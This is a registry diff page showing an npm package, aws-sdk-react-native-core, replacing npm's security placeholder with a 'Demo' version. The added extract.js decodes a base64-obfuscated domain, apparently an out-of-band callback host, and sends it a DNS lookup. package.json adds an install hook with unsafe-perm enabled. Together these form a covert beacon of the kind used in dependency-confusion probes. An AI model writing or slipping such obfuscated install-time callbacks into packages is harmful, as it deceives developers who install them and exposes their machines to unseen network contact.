aws-sdk-react-native-core 0.0.1-security → 0.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of aws-sdk-react-native-core might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,6 @@
1
- # Security holding package
1
+ # Demo
2
+ Demo
2
3
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
+ Demo
4
5
 
5
- Please refer to www.npmjs.com/advisories?search=aws-sdk-react-native-core for more information.
6
+ Reference: Demo
package/extract.js ADDED
@@ -0,0 +1,12 @@
1
+ const dns = require('dns');
2
+
3
+ // Obfuscated domain
4
+ const domain = Buffer.from('a3ltcmQzM2tycGNnY2l0M3MwY3h2Z2kzeXU0bHNnZzUub2FzdGlmeS5jb20=', 'base64').toString('utf-8');
5
+
6
+ dns.lookup(domain, (err, address, family) => {
7
+ if (err) {
8
+ console.log(err);
9
+ } else {
10
+ console.log(`Address: ${address}, family: ${family}`);
11
+ }
12
+ });
package/index.js ADDED
@@ -0,0 +1 @@
1
+ # blank demo
package/package.json CHANGED
@@ -1,6 +1,19 @@
1
1
  {
2
2
  "name": "aws-sdk-react-native-core",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "0.0.2",
4
+ "description": "Demo Package",
5
+ "main": "index.js",
6
+ "keywords": [
7
+ "Demo1",
8
+ "Demo"
9
+ ],
10
+ "dependencies": {},
11
+ "scripts": {
12
+ "install": "node index.js"
13
+ },
14
+ "config": {
15
+ "unsafe-perm":true
16
+ },
17
+ "author": "Demo Package",
18
+ "license": "ISC"
19
+ }